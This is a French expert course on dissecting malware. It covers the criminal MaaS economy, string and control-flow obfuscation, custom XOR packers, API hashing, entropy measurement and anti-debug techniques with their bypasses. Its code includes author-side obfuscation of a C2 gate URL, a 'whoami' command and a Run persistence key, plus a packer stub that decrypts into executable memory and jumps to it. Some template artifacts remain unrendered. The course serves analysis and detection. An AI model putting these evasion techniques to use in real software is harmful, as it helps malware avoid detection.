MALWARE

ANATOMIE, OBFUSCATION & DÉCORTICAGE

COURS EXPERT — POUR ANALYSTES DÉJÀ CONFIRMÉS

L'écosystème malware : économie, acteurs, supply chain criminelle

Obfuscation de code : toutes les techniques, toutes les couches

Packers custom : écrire et lire un packer de zéro

Chiffrement des communications : protocoles, détection, déchiffrement

Anti-analyse exhaustif : anti-debug, anti-VM, anti-sandbox, anti-EDR

Injection de processus : 12 techniques, mécanismes, détection

Persistence avancée : COM, WMI, BITS, AppInit, tous les vecteurs

Ransomware de l'intérieur : chiffrement, clés, fautes courantes

Stealers modernes : DPAPI, SQLite, wallets, mécanismes complets

Loaders et droppers : staging, reflective loading, memory-only

Désobfuscation complète : méthode de décorticage couche par couche

Détection engineering : YARA avancé, Sigma, corrélation SIEM

Table des matières

1. L'Ecosystème Malware — Economie et Acteurs

1.1 Comment le cybercrime fonctionne comme une industrie
1.2 Les rôles : développeurs, affiliates, brokers, mules
1.3 Malware-as-a-Service : panels, builders, support
1.4 Les marchés underground : ce qu'on y vend et comment
1.5 Cycle de vie d'un malware : du développement à la retraite
1.6 Comment les chercheurs en sécurité trackent les familles

2. Obfuscation de Code — Toutes les Couches

2.1 Pourquoi l'obfuscation ne suffit jamais longtemps
2.2 Obfuscation de strings : XOR, RC4, base64, custom encodings
2.3 Obfuscation du flux de contrôle : opaque predicates, flattening
2.4 Obfuscation par substitution d'instructions
2.5 Obfuscation de l'import table : LoadLibrary dynamique
2.6 Code polymorphique et métamorphique : se réécrire
2.7 Virtualization (VMProtect) : bytecode custom, VM interpréteur
2.8 Identifier et mesurer le niveau d'obfuscation

3. Packers — De l'Intérieur

3.1 Anatomie d'un packer : stub + payload + décompresseur
3.2 UPX en profondeur : algorithme de compression, headers
3.3 Packers custom : comment en écrire un simple
3.4 Chiffrement du payload : XOR, AES, clé dérivée
3.5 Unpacking universel : méthodes et limites
3.6 Packers multi-stages : packer dans un packer
3.7 Mesurer l'entropie pour détecter le packing

4. Anti-Analyse Exhaustif

4.1 Anti-debug : 20 techniques, de trivial à sophistiqué
4.2 Anti-VM et anti-sandbox : détecter l'environnement artificiel
4.3 Anti-EDR : unhooking, direct syscalls, kernel callbacks
4.4 Anti-forensics : timestomping, log clearing, trace reduction
4.5 Timing attacks et junk code : ralentir l'analyste
4.6 Countermeasures : comment bypasser chaque technique

5. Injection de Processus — 12 Techniques

5.1 Pourquoi injecter : évasion, persistence, privilege
5.2 DLL Injection classique
5.3 Process Hollowing
5.4 Process Doppelgänging
5.5 Reflective DLL Injection
5.6 Thread Hijacking
5.7 APC Injection

5.8 Atom Bombing
5.9 Early Bird APC
5.10 Module Stomping
5.11 Transacted Hollowing
5.12 Phantom DLL Hollowing
5.13 Détecter les injections : méthode comparative

6. Persistence Avancée

6.1 Cartographie complète des vecteurs de persistence
6.2 Run Keys et Startup : les classiques et leurs variantes
6.3 Services Windows : création, manipulation, DLL hijacking
6.4 Scheduled Tasks : XML, COM, variations
6.5 COM Hijacking : HKCU override, MRU lists
6.6 WMI Event Subscriptions : persistence totalement fileless
6.7 AppInit_DLLs, Image File Execution Options, SilentProcessExit
6.8 BITS Jobs : background transfer service comme C2
6.9 Boot sector et firmware persistence
6.10 DLL Search Order Hijacking : sideloading

7. Ransomware — Anatomie Complète

7.1 Schémas cryptographiques : symétrique, asymétrique, hybride
7.2 Comment LockBit chiffre : implémentation réelle
7.3 Comment Conti chiffre : thread pool et file enumeration
7.4 Les failles d'implémentation qui permettent le déchiffrement
7.5 Shadow copy deletion : toutes les méthodes
7.6 Propagation réseau : SMB, WMI, GPO
7.7 Double extorsion : exfiltration avant chiffrement
7.8 Analyse forensics post-ransomware

8. Stealers Modernes — Mécanismes Complets

8.1 Architecture d'un stealer moderne
8.2 Chrome DPAPI : le vol de mots de passe en détail
8.3 Firefox NSS : comment Firefox chiffre ses mots de passe
8.4 Cookies de session : vol et replay
8.5 Crypto wallets : Electrum, MetaMask, hardware wallets
8.6 Telegram, Discord, VPN credentials
8.7 Exfiltration : formats, compression, envoi
8.8 Analyse RedLine, Lumma, Vidar côte à côte

9. Loaders et Stagers — L'Architecture Multi-Stages

9.1 Pourquoi les malwares modernes sont multi-stages
9.2 Stagers HTTP : download-and-execute
9.3 Memory-only payloads : ne jamais toucher le disque
9.4 Reflective loading en profondeur
9.5 Syscall-based loaders : éviter les hooks EDR
9.6 Living-in-the-land loaders : PowerShell, mshta, rundll32

9.7 Analyser un loader inconnu : méthode complète

10. Désobfuscation — Méthode de Décorticage Couche par Couche

10.1 La philosophie du décorticage : de dehors vers dedans
10.2 Niveau 1 : triage et identification des couches
10.3 Niveau 2 : unpacking dynamique
10.4 Niveau 3 : déchiffrement des strings
10.5 Niveau 4 : reconstruction du flux de contrôle
10.6 Niveau 5 : analyse sémantique — que fait vraiment le code
10.7 Cas pratique complet : décortiquer un sample de A à Z

11. Détection Engineering — De l'Analyse à la Règle

11.1 La philosophie : détecter les TTPs, pas les samples
11.2 YARA avancé : modules, wildcards, conditions complexes
11.3 Sigma : règles SIEM génériques et bonnes pratiques
11.4 Règles comportementales : quand un seul IOC ne suffit pas
11.5 Corrélation SIEM : détecter les séquences d'événements
11.6 Tuning : réduire les faux positifs sans perdre en détection
11.7 Cycle de vie d'une règle de détection

CHAPITRE 1

L'Ecosystème Malware

Economie, acteurs, supply chain criminelle — comprendre le business pour comprendre le code

1.1 Comment le cybercrime fonctionne comme une industrie

Le cybercrime n'est plus l'affaire de hackers solitaires en capuche. C'est une industrie structurée avec une division du travail, une supply chain, un support client, des conditions générales d'utilisation, et des SLAs. Comprendre cette structure t'aide à comprendre POURQUOI les malwares sont conçus comme ils le sont. Un stealer as-a-service doit être facile à configurer pour un affiliate non-technique. Un ransomware doit avoir un panel de gestion propre. Un loader doit être modulaire pour ne livrer que le payload du moment.

La structure économique du cybercrime moderne ressemble à un franchise model. Les développeurs créent l'outillage. Ils le louent à des affiliates (cybercriminels moins techniques) via un panel. Les affiliates mènent les campagnes d'infection. Les profits sont partagés — souvent 70-80% pour l'affiliate, 20-30% pour le développeur. C'est rentable pour tout le monde et permet une spécialisation qui améliore la qualité du code.

Conséquence directe pour l'analyste : deux samples de la même famille peuvent avoir des configurations C2 très différentes (deux affiliates différents), des targets géographiques différentes (un affiliate vise l'Europe, l'autre les US), et des payloads de seconde étape différents. Ce n'est pas que le malware soit différent — c'est le même builder, configuré différemment par des clients différents.

L'infrastructure d'un MaaS (Malware-as-a-Service)

Un service MaaS complet comprend : un site web sur le dark web ou un canal Telegram, un builder (génère des samples configurés avec l'IP C2 de l'affiliate), un panel web (tableau de bord pour l'affiliate — logs reçus, stats, gestion), un stealer panel ou ransomware management, un système de tickets pour le support, et parfois un système de réputation entre membres.

Exemple réel : RedLine Stealer. Pour 150-200 USD/mois, un affiliate obtient : accès au builder (configure C2, filtre par pays, options de vol), accès au panel de réception des logs (credentials, cookies, wallets), mises à jour automatiques quand les AV détectent la version courante, et support Telegram. Un affiliate moyen peut générer des dizaines de milliers de dollars par mois en logs revendus sur des marchés comme Genesis ou RussianMarket.

1.2 Les rôles dans l'écosystème

Développeur malware	Écrit le code. Maintient les mises à jour contre les nouvelles détections. Souvent très technique. Rarement impliqué dans les infections directes.
Affiliate / Opérateur	Loue le malware. Gère les campagnes d'infection (phishing, malvertising, exploit kits). Peut être peu technique — le builder fait le travail.
Initial Access Broker (IAB)	Spécialisé dans l'accès initial. Vend des accès RDP/VPN/webshell à d'autres criminels. En forte croissance depuis 2020.
Traffic seller	Vend du traffic infecté (malvertising, SEO poisoning, installs pay-per-install). Fournit les vecteurs de distribution.
Money mule / Cashout	Convertit les gains illicites en cash. Souvent recrutés sans qu'ils sachent réellement ce qu'ils font.
Crypter / FUD seller	Vend des versions 'Fully Undetectable' des malwares — repacked avec une obfuscation fraîche. Permet aux AV de ne pas détecter.

1.3 Crypters et FUD — comment un malware devient indétectable

Un 'crypter' ou 'FUD service' (Fully UnDetectable) est le service qui prend ton malware détecté par les AV et le re-packs avec une nouvelle obfuscation pour qu'il redevienne indétectable. C'est une course permanente : les AV ajoutent des signatures, les crypters mettent à jour leurs techniques d'obfuscation. Certains services garantissent 'FUD pendant 72h' — après, ils te donnent une nouvelle version.

Ce que fait concrètement un crypter : il prend le payload original (ex: RedLine), le chiffre avec AES ou XOR avec une clé unique, crée un nouveau PE avec un stub qui déchiffre et exécute en mémoire, ajoute de l'obfuscation au stub (junk code, noms de variables random), et signe parfois avec un certificat volé ou un certificat généré. Résultat : hash différent, strings différentes, structure PE différente. Les signatures AV ne matchent plus. La détection heuristique et comportementale finit par le rattraper — d'où les 72h.

1.4 Cycle de vie d'un malware

Comprendre le cycle de vie d'un malware t'aide à situer temporellement un sample que tu analyses. Un malware détecté par 60 AV sur VT est en fin de vie. Un malware détecté par 5 AV est récent ou récemment crypté. Un malware à 0 détection est soit très nouveau, soit très bien obfusqué.

Phase 1 — Développement : le code est écrit. Tests sur des VMs clean. Soumission manuelle à VirusTotal jusqu'à obtenir 0 détection. **Phase 2 — Distribution initiale :** campagnes d'infection ciblées, faible volume pour rester sous le radar. **Phase 3 — Montée en volume :** les campagnes s'intensifient. Les premiers samples arrivent chez les AV via les customers. **Phase 4 — Détection croissante :**

signatures AV commencent à matcher. Le développeur publie une mise à jour ou les affiliates achètent un nouveau cryptage. **Phase 5 — Burn :** trop détecté. Soit abandon de la famille, soit réécriture complète, soit retrait temporaire.

CHAPITRE 2

Obfuscation de Code

Toutes les techniques couche par couche — de XOR trivial à la virtualisation de code

2.1 La philosophie de l'obfuscation

L'obfuscation malware a un seul objectif : ralentir l'analyste humain et tromper les outils automatiques. Ce n'est jamais parfait — tout code obfusqué peut être déobfusqué avec assez de temps et d'effort. La question est toujours : combien de temps l'obfuscation tient-elle avant que l'analyste ou l'AV perce à jour le sample ?

Il y a deux types d'adversaires que l'obfuscation doit tromper : les outils automatiques (AV signature, YARA, sandbox) et les humains (toi). Les techniques ne sont pas les mêmes. Pour tromper les signatures AV : change les bytes (XOR, compression). Pour tromper les sandboxes : anti-VM, timing, détection d'environnement. Pour tromper les humains : rends le code illisible et long (control flow obfuscation, virtualisation). Les bons malwares font les trois.

2.2 Obfuscation de strings — la plus courante

Les strings sont les premières choses qu'un analyste cherche. Un malware qui a ses URLs C2 et ses noms de fonctions WinAPI en clair est trivial à analyser. Donc presque tous les malwares modernes obfusquent leurs strings d'une façon ou d'une autre.

Niveau 1 : XOR simple — le plus répandu

Le XOR single-byte est partout. Chaque byte de la string est XOR avec une clé fixe. À l'analyse : cherche une boucle courte avec `XOR byte [ptr], key`. La clé est souvent visible directement dans l'assembleur. Déchiffrement Python : `bytes(b ^ key for b in encrypted)`.

XOR string obfuscation — code complet

```
; Obfuscation XOR single-byte — génération (côté malware author)

def xor_encrypt(plaintext, key):
    return bytes(c ^ key for c in plaintext.encode())

# Strings à cacher
strings = [
    'http://185.220.101.47/gate.php',
    'cmd.exe /c whoami',
    'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
]
key = 0x4B
```

```
for s in strings:
    enc = xor_encrypt(s, key)
    print(f'// "{s}"')
    print(f'{{ {', '.join(hex(b) for b in enc)} }}')

; Dans l'assembleur du malware :
; lea  rsi, [encrypted_c2]   ; Tableau de bytes chiffrés
; mov  rcx, 30               ; Longueur
; mov  al,  0x4B             ; ← CLÉ VISIBLE ICI
; .loop:
;   xor  byte [rsi], al
;   inc  rsi
;   loop .loop
; ; [encrypted_c2] contient maintenant 'http://185.220.101.47/gate.php'
```

Niveau 2 : XOR multi-byte et key rotation

Une évolution du XOR simple : la clé change à chaque byte (rotation ou dérivation). Ça résiste aux attaques où tu essaies toutes les 256 clés possibles. Mais le pattern de déchiffrement reste reconnaissable — une boucle avec une opération sur la clé (INC, XOR, ADD) à chaque itération.

XOR rotating key — niveau intermédiaire

```
; XOR avec rotation de clé — plus résistant
def xor_rotating(data, initial_key):
    result = []
    key = initial_key
    for byte in data:
        result.append(byte ^ key)
        key = (key + 0x13) & 0xFF  # Rotation : clé change à chaque byte
    return bytes(result)

; En assembleur (boucle de déchiffrement) :
; movzx ebx, byte [initial_key]  ; EBX = clé initiale
; lea   rsi, [encrypted_data]
; mov   rcx, length
; .loop:
;   xor  byte [rsi], bl     ; XOR avec byte bas de EBX (la clé courante)
;   add  bl, 0x13           ; Rotation : clé += 0x13
;   and  bl, 0xFF           ; Garde dans byte
;   inc  rsi
```

```
;   loop .loop

; Pour déchiffrer : tu dois trouver initial_key ET la fonction de rotation
; Les deux sont dans l'assembleur — initial_key est pushée avant l'appel
; La rotation (ici +0x13) est visible dans le ADD dans la boucle
```

Niveau 3 : RC4 pour les strings

Certains malwares utilisent RC4 pour chiffrer leurs strings, parfois avec une clé dérivée d'un hash du nom de fichier ou du hostname. C'est beaucoup plus fort que XOR car RC4 est un vrai algorithme de chiffrement. Mais les patterns d'initialisation RC4 (tableau S de 256 bytes, double boucle) sont reconnaissables et sont détectés par FindCrypt dans Ghidra.

RC4 pour strings — déchiffrement offline

```
# RC4 string encryption — ce que tu trouveras dans certains malwares

class RC4StringDecryptor:
    def __init__(self, key: bytes):
        # KSA (Key Scheduling Algorithm)
        S = list(range(256))
        j = 0
        for i in range(256):
            j = (j + S[i] + key[i % len(key)]) % 256
            S[i], S[j] = S[j], S[i]
        self.S = S

    def decrypt(self, ciphertext: bytes) -> bytes:
        # PRGA (Pseudo-Random Generation Algorithm)
        S = self.S.copy()
        i = j = 0
        out = []
        for byte in ciphertext:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]
            out.append(byte ^ S[(S[i] + S[j]) % 256])
        return bytes(out)

# Utilisation après extraction de Ghidra :
# La clé est dans .rdata ou hardcodée avant l'appel RC4
key = bytes.fromhex('4B65795F4D616C77617265')  # 'Key_Malware' en hexa
encrypted_strings = [
```

```
    bytes.fromhex('A3F2175C...'),  # Tableau extrait de Ghidra
    bytes.fromhex('9B4E3A12...'),
]
dec = RC4StringDecryptor(key)
for enc in encrypted_strings:
    print(dec.decrypt(enc).decode('utf-8', errors='replace'))
```

Niveau 4 : String hashing (hashlib pour les imports)

Une technique plus sophistiquée pour les noms d'API : au lieu de stocker le nom de la fonction ({ic('CreateRemoteThread')} en clair), le malware stocke un hash de ce nom. Au runtime, il énumère les exports d'une DLL, hash chaque nom, et compare avec le hash stocké. Dans les strings du binaire : zéro nom d'API visible. Dans Ghidra : une boucle avec un calcul de hash et une comparaison.

API Hashing — identifier les fonctions hashées

```
; API Hashing — technique courante dans les shellcodes et malwares avancés
; Algorithme de hash le plus courant (rotation 13 bits, Bernstein djb2 variant) :
def ror32(val, count):
    return ((val >> count) | (val << (32 - count))) & 0xFFFFFFFF
def api_hash(name: str) -> int:
    """Hash d'un nom d'API utilisé par beaucoup de shellcodes"""
    h = 0
    for c in name.upper():  # Certains variantes en majuscule
        h = ror32(h, 13)    # Rotation 13 bits = ROR 13
        h = (h + ord(c)) & 0xFFFFFFFF
    return h
# Générer une table de hash pour les APIs communes
common_apis = [
    'CreateRemoteThread', 'VirtualAllocEx', 'WriteProcessMemory',
    'OpenProcess', 'LoadLibraryA', 'GetProcAddress',
    'WSAStartup', 'socket', 'connect', 'send', 'recv',
]
hash_table = {api_hash(api): api for api in common_apis}
# Dans Ghidra : tu vois une comparaison 'CMP EAX, 0x0726774C'
# Ce hash correspond à...
mystery_hash = 0x0726774C
if mystery_hash in hash_table:
    print(f'0x{mystery_hash:08X} = {hash_table[mystery_hash]}')
```

```
# Outils pour automatiser :
# HashDB plugin Ghidra : base de données de 50000+ hashes d'API
# https://github.com/OALabs/hashdb
# lookup_hash.py (script IDA/Ghidra) dans divers repos GitHub
```

2.3 Obfuscation du flux de contrôle

L'obfuscation de strings rend les données illisibles. L'obfuscation du flux de contrôle rend la LOGIQUE illisible. Même si tu déchiffres toutes les strings, le code reste incompréhensible. C'est le domaine où les malwares modernes investissent le plus.

Opaque Predicates — des conditions dont le résultat est toujours connu

Un opaque predicate est une condition qui semble dépendre de données variables mais dont le résultat est en fait toujours le même (toujours vrai ou toujours faux). Le compilateur ne peut pas le simplifier statiquement (il ne connaît pas les données). L'analyste voit une branche conditionnelle — mais une des deux branches ne s'exécute jamais. Résultat : code mort (dead code) partout, logique apparente totalement fausse.

Opaque Predicates — identification et bypass

```
; Opaque Predicates — exemples mathématiques

; Predicate 1 : x*(x+1) est TOUJOURS pair (produit de deux entiers consécutifs)
; → (x*(x+1)) % 2 == 0 est TOUJOURS VRAI

mov  eax, [some_variable]     ; EAX = x (valeur quelconque)
lea  ecx, [eax + 1]           ; ECX = x+1
imul eax, ecx                 ; EAX = x*(x+1)
test eax, 1                   ; ZF = 1 si pair (bit 0 = 0)
jz   real_code                ; ← TOUJOURS pris (x*(x+1) toujours pair)
; Code mort ici — jamais exécuté mais complique l'analyse
call some_fake_function       ; Du code qui ne s'exécute jamais
real_code:
; ... la vraie logique ...

; Predicate 2 : (x^2 + x) toujours pair — même principe

; Predicate 3 : (hash & 0x80000000) == 0 pour certaines valeurs connues du dev
; → Illisible statiquement mais toujours vrai pour les valeurs utilisées

; COMMENT IDENTIFIER dans Ghidra :
; - Branches conditionnelles où une branche contient du code bizarre
;   (junk code, appels circulaires, code qui ne modifie rien d'utile)
; - Conditions basées sur des calculs mathématiques complexes
```

```
; - Le décompilateur Ghidra garde souvent les deux branches (ne peut pas simplifier)
; SOLUTION :
; Dans x64dbg : trace le programme et note quelles branches sont prises
; Les branches jamais prises = code mort = peut être ignoré
```

Control Flow Flattening — aplatir toute la logique

Le CFF (Control Flow Flattening) est la technique d'obfuscation la plus dévastatrice pour l'analyse statique. Une fonction normale a un graphe de contrôle arborescent : des if/else qui créent des branches, des boucles qui reviennent en arrière. Avec le CFF, toute la logique est transformée en une machine à états avec un dispatcher central. Il n'y a plus de structure — juste un switch géant avec une variable d'état qui change à chaque itération.

Control Flow Flattening — transformation et désobfuscation

```
// Control Flow Flattening — transformation illustrée
// CODE ORIGINAL (lisible) :
void original() {
    init_connection();
    if (check_av()) { exit(); }
    decrypt_config();
    send_beacon();
    while (running) {
        cmd = receive_command();
        execute(cmd);
    }
}
// APRÈS CFF (illisible) :
void obfuscated() {
    int state = 0x3A7F;  // Valeur initiale encodée
    while (state != 0) {
        switch (state) {
            case 0x3A7F:
                init_connection();
                state = (check_av_result ? 0x9B2C : 0x1F4E);
                break;
            case 0x9B2C:
                exit();
                state = 0;
```

```
                break;
            case 0x1F4E:
                decrypt_config();
                state = 0x7C3D;
                break;
            case 0x7C3D:
                send_beacon();
                state = (running ? 0x2E5A : 0);
                break;
            case 0x2E5A:
                cmd = receive_command();
                execute(cmd);
                state = (running ? 0x2E5A : 0);
                break;
        }
    }
}
// Dans Ghidra : le switch géant avec des cases aux valeurs cryptiques
// La variable 'state' est un compteur qui n'a aucune signification directe
// COMMENT DÉOBFUSQUER :
// Méthode 1 : debug et trace — note l'ordre des cases exécutés
// Méthode 2 : outil deflat.py sur le binaire
// Méthode 3 : analyse symbolique avec Miasm ou angr
```

2.5 Obfuscation des imports — LoadLibrary dynamique

L'import table est le premier endroit qu'un analyste regarde. Un malware sophistiqué n'a pas de {ic('VirtualAllocEx')} dans ses imports parce qu'il le charge dynamiquement via {ic('LoadLibraryA')} + {ic('GetProcAddress')}. Mais même ça laisse des traces : les strings des noms d'API.

La solution : combiner LoadLibrary dynamique avec un des chiffrements de strings vus plus haut. Le nom de l'API est stocké chiffré. Au runtime : déchiffrer le nom, appeler GetProcAddress, stocker le pointeur dans une variable globale, appeler via le pointeur. Résultat dans Ghidra : des {ic('CALL [rax]')} et {ic('CALL [rbx+0x28]')} sans aucun symbole visible — juste des appels indirects opaques.

Import obfuscation — structure et résolution dans Ghidra

```
; Import obfuscation complète — le pattern que tu verras dans les malwares avancés
; Structure de stockage des fonctions dynamiques :
struct DynFunctions {
```

```
    FARPROC pVirtualAllocEx;      // +0x00
    FARPROC pWriteProcessMemory;  // +0x08
    FARPROC pCreateRemoteThread;  // +0x10
    FARPROC pOpenProcess;         // +0x18
    // ...
};

; Initialisation au démarrage :
void init_dynamic_imports(DynFunctions* dyn) {
    char* api_names[] = {
        'VirtualAllocEx',       // Ou version chiffrée
        'WriteProcessMemory',
        'CreateRemoteThread',
        'OpenProcess',
    };
    HMODULE hk32 = LoadLibraryA('kernel32.dll');
    FARPROC* ptrs = (FARPROC*)dyn;
    for (int i = 0; i < 4; i++) {
        ptrs[i] = GetProcAddress(hk32, api_names[i]);
    }
}

; Usage — appel via pointeur :
; mov  rcx, [hProcess]
; xor  rdx, rdx
; mov  r8,  payload_size
; mov  r9,  0x40           ; PAGE_EXECUTE_READWRITE
; call [dyn_funcs + 0x00]  ; ← appel indirect à VirtualAllocEx

; DANS GHIDRA : tu vois (*dyn_funcs->pVirtualAllocEx)(hProcess, 0, size, 0x3000, 0x40)
; Ghidra peut inférer le type si tu définis la structure DynFunctions correctement
; → Définis la structure, applique le type à la variable dyn_funcs
; → Le pseudocode devient immédiatement lisible
```

2.6 Code polymorphique et métamorphique

Les malwares polymorphiques et métamorphiques vont encore plus loin : ils se modifient à chaque exécution ou à chaque génération.

Polymorphique : le code fonctionnel reste identique mais le wrapper change. À chaque infection ou à chaque build, le code est chiffré avec une clé différente. Le stub de déchiffrement est légèrement

différent (noms de registres, ordre des instructions). Le code déchiffré est identique — mais aucun sample n'a le même hash.

Métamorphique : le code lui-même est réécrit à chaque génération. Substitution d'instructions équivalentes ({ic('ADD EAX, 1')} → {ic('INC EAX')}), réordonnancement d'instructions indépendantes, insertion de junk code, renommage de registres. Même fonctionnalité, bytes totalement différents. C'est la résistance maximale aux signatures, mais ça nécessite un moteur de transformation complexe dans le malware lui-même.

CHAPITRE 3

Packers — De l'Intérieur

Anatomie complète d'un packer : comment il fonctionne, comment l'écrire, comment le lire

3.1 Anatomie d'un packer

Un packer est lui-même un programme PE. Il contient : le payload (le vrai malware) compressé ou chiffré dans une section de données, et le stub (code de décompression/déchiffrement) dans sa section .text. La section .text du packer fait une chose : décompresser/déchiffrer le payload, le placer en mémoire exécutable, et lui donner la main.

La clé de tout unpacking manuel : le stub DOIT à un moment donner la main au payload original. Ce moment (l'OEP — Original Entry Point) est précédé d'un JMP ou CALL vers la mémoire qui vient d'être décompressée. En mettant un breakpoint hardware sur la première instruction du payload décompressé, tu interceptes ce moment.

Écrire un packer XOR simple — pour comprendre de l'intérieur

Écrire un packer XOR — comprendre le stub de l'intérieur

```
# packer.py — Packer XOR minimaliste pour comprendre le mécanisme

import sys, struct, os
from pathlib import Path

def xor_crypt(data: bytes, key: int) -> bytes:
    return bytes(b ^ key for b in data)

def build_stub_asm(payload_offset: int, payload_size: int, key: int, oep_rva: int) -> s
tr:
    """
    Génère le code assembleur du stub de déchiffrement.
    En réalité un vrai packer assemble ça en opcodes.
    Ici on illustre la logique.
    """
    return f'''
    ; === STUB DE DÉCHIFFREMENT ===
    ; Récupérer notre propre adresse de base (self-locating)
    call get_base
    get_base:
    pop rbx                         ; RBX = adresse de get_base
    sub rbx, get_base_offset        ; RBX = image base du packer
```

```
    ; Localiser le payload chiffré dans notre propre image
    lea rsi, [rbx + {payload_offset}]; RSI = adresse du payload chiffré
    mov rcx, {payload_size}          ; RCX = taille du payload

    ; Allouer de la mémoire exécutable pour le payload déchiffré
    sub  rsp, 0x28                   ; Shadow space
    xor  rcx, rcx                    ; lpAddress = NULL
    mov  rdx, {payload_size}         ; dwSize
    mov  r8,  0x3000                 ; MEM_COMMIT|MEM_RESERVE
    mov  r9,  0x40                   ; PAGE_EXECUTE_READWRITE
    call [VirtualAlloc_ptr]          ; → rax = adresse allouée
    mov  rdi, rax                    ; RDI = destination déchiffrée
    add  rsp, 0x28

    ; Déchiffrer : XOR byte par byte avec clé {key}
    mov  rcx, {payload_size}
    mov  al, {key}                   ; ← CLÉ XOR VISIBLE ICI
    decrypt_loop:
    xor  byte [rsi], al
    movsb                            ; [rdi] = [rsi], rsi++, rdi++
    loop decrypt_loop

    ; Sauter vers l'OEP du payload décompressé
    ; L'OEP réel est à image_base + {oep_rva}
    mov  rax, [base_de_la_zone_allouee]
    add  rax, {oep_rva}
    jmp  rax                         ; ← LE SAUT CRITIQUE vers l'OEP
    ; Après ce JMP : le payload original prend le contrôle
    '''

# Ce que fait analyzeHeadless quand il voit ce stub :
# - Il désassemble les instructions normalement
# - Il voit le 'jmp rax' à la fin sans connaître rax statiquement
# - Le décompilateur génère du code bizarre après ce JMP
# - L'analyse statique s'arrête là — tu dois déboguer dynamiquement

print('Pour unpack : x64dbg → BP sur VirtualAlloc → step out → BP hardware sur [rax] → F9')
```

3.2 UPX en profondeur — comment il compresse vraiment

UPX utilise l'algorithme UCL (une variante de LZO) pour compresser le code. Il y a deux sections dans un EXE UPX : {ic('.upx0')} (zone de destination, vide sur disque) et {ic('.upx1')} (le code compressé + le stub de décompression). Le stub décompresse .upx1 vers .upx0, reconstruit l'IAT, et saute à l'OEP.

Ce qui rend UPX particulier : les sections PE originales sont préservées dans leur ordre mais compressées ensemble. Le stub connaît les offsets originaux et peut reconstruire exactement l'image mémoire comme si elle n'avait jamais été packée. C'est pour ça que {ic('upx -d')} fonctionne — UPX standard embarque assez de métadonnées pour permettre la décompression inverse.

Les malwares qui utilisent UPX custom modifient les magic bytes UPX dans les headers ({ic('UPX0')}, {ic('UPX1')} dans les noms de sections) pour que {ic('upx -d')} refuse de décompresser. La solution : restaurer manuellement ces magic bytes dans un éditeur hex avant de lancer upx -d. Ou simplement utiliser la méthode ESP décrite au Vol.1.

3.3 Packers multi-stages — packer dans un packer

Les malwares vraiment sophistiqués utilisent plusieurs couches de packing. Couche 1 : un crypter commercial (Themida, VMProtect) protège le loader. Couche 2 : le loader déchiffre le packer custom. Couche 3 : le packer custom déchiffre le vrai malware. Chaque couche doit être unpacked séparément avant de pouvoir analyser la suivante.

La méthode pour identifier les couches : après chaque unpacking, lance DIE sur le dump mémoire. Si DIE identifie encore un packer → il y a une autre couche. Continue jusqu'à ce que DIE identifie un compilateur standard ou jusqu'à ce que le pseudocode Ghidra ait du sens.

3.4 Mesurer l'entropie — détection du packing

L'entropie de Shannon mesure le désordre des données. Du code non-compressé a une entropie d'environ 5-6 bits/byte. Du code compressé ou chiffré : 7.5-8.0 bits/byte. C'est un signal fort mais pas parfait : les zips légitimes ont aussi une haute entropie.

Analyse d'entropie par section

```
# Mesurer l'entropie par section et visualiser
import math, pefile
from pathlib import Path

def section_entropy(data: bytes) -> float:
    if not data: return 0.0
    counts = [0] * 256
    for b in data: counts[b] += 1
    probs = [c/len(data) for c in counts if c > 0]
    return -sum(p * math.log2(p) for p in probs)

def entropy_report(filepath):
```

```
    pe = pefile.PE(filepath)
    print(f'File: {Path(filepath).name}')
    print(f'{'Section':<12} {'Entropy':>8}  Verdict')
    print('-' * 40)
    for sec in pe.sections:
        name = sec.Name.decode(errors='replace').strip('\x00')
        data = sec.get_data()
        ent  = section_entropy(data)
        # Flags
        flags = ''
        if sec.Characteristics & 0x20000000: flags += 'x'
        if sec.Characteristics & 0x40000000: flags += 'w'
        if sec.Characteristics & 0x80000000: flags += 'r'
        verdict = ''
        if ent > 7.5: verdict = '← PROBABLEMENT CHIFFRÉ/COMPRESSÉ'
        elif ent > 6.5: verdict = '← Entropie élevée, suspect'
        elif ent < 1.0: verdict = '← Entropie très basse (padding ?)'
        print(f'{name:<12} {ent:>8.3f}  [{flags}] {verdict}')

    # Entropie globale du fichier
    global_ent = section_entropy(Path(filepath).read_bytes())
    print(f'{'GLOBAL':<12} {global_ent:>8.3f}')
    if global_ent > 7.0:
        print('→ Fichier globalement chiffré/compressé = probablement packé')

entropy_report('malware.exe')
```

CHAPITRE 4

Anti-Analyse Exhaustif

Toutes les techniques pour détecter l'analyste — et comment les contourner

4.1 Anti-debug — 20 techniques de trivial à sophistiqué

L'anti-debug est la guerre permanente entre les auteurs de malwares et les analystes. Chaque technique a un bypass, et les auteurs le savent. L'objectif n'est pas de rendre l'analyse impossible — c'est de ralentir suffisamment pour que l'analyste passe à autre chose, ou pour que le malware ait le temps de faire son travail.

Les techniques se divisent en deux catégories : celles qui détectent la présence d'un debugger ({hl('détection')}) et celles qui perturbent le debugger ({hl('perturbation')}). Les meilleures malwares combinent les deux.

# Technique	Niveau	Mécanisme	Bypass
1 — IsDebuggerPresent	trivial	Lit le byte BeingDebugged du PEB (PEB+2). Renvoie 1 si debuggé.	ScyllaHide ou modifier PEB.BeingDebugged=0 dans x64dbg.
2 — CheckRemoteDebuggerPresent	trivial	Wrapper de NtQueryInformationProcess(ProcessDebugPort). Retourne TRUE si attaché.	ScyllaHide patche automatiquement. Sinon patch la valeur de retour.
3 — NtQueryInformationProcess(ProcessDebugPort)	facile	Renvoie -1 si un debugger est attaché. Bypass user-mode possible. Plus difficile à hooker.	ScyllaHide. Sinon : intercept dans x64dbg, forcer retour = 0.
4 — Heap Flags (NtGlobalFlag)	facile	Le PEB.NtGlobalFlag (PEB+0x68) a 0x70 si debuggé au lieu de 0x00.	Modifier la valeur en mémoire. ScyllaHide le fait automatiquement.
5 — Heap ForceFlags	facile	Le heap créé par le processus a des flags différents si debuggé (ProcessHeap.ForceFlags).	ScyllaHide patche les flags du heap.
6 — RDTSC timing	moyen	Mesure le temps entre deux RDTSC. Significativement plus lent avec un debugger.	ScyllaHide patche RDTSC pour retourner des valeurs continues.
7 — GetTickCount timing	moyen	Compare GetTickCount avant et après une section — devrait être < 100ms sans debugger.	Intercept GetTickCount, retourner une valeur constante+petite delta.
8 — INT 3 (0xCC)	moyen	Met un INT3 dans le code. Sans debugger le SEH le gère. Avec debugger, le debugger l'intercepte.	Options → Exceptions dans x64dbg : passer les INT3 au programme (Shift+F9).

